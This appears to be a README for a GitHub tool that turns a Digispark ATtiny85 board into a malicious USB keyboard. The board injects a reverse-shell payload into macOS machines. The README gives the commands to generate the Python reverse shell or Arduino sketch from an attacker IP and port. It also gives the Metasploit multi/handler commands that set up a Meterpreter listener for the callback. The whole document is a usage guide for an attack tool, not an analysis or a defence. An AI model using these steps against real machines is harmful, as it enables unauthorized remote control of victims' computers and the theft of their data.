What is digispark?

Digispark is a Attiny85 based microcontroller that can be used as a trusted HID-MIDI device. This project addresses its vulnerability, which injects malicious code into the machine.

Digispark reverse shell

The script creates either a reverse shell python script or arduino sketch for digispark. The script is compatible with metasploit.
This Digispark sketch is intended to run on OS X operating System.

Features

• Creates a reverse shell python script
• Creates a Arduino sketch for digispark

Arduino Configuration

To flash the microcontroller, you need to add this link to your boards maneger
Arduino > File > Preferences > Additional Boards Manager URLs:

https://raw.githubusercontent.com/digistump/arduino-boards-index/master/package_digistump_index.json

Once the link is added, head over to Tools > Bord > Boards Manager, search for "Digistump AVR Boards" and make sure it is installed.

Installation

Clone this repository

git clone https://github.com/https-sam/digispark_reverse_shell.git

cd scripts

-p and -i tags are required.

python3 payloadGenerator.py -i IP ADDRESS -p PORT

-py True is optional, which only creates a python reverse shell script.

python3 payloadGenerator.py -i IP Address -p PORT -py True

Set up

Metsploit can be used as a listener

msfconsole
use multi/handler
set payload python/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport PORT
run
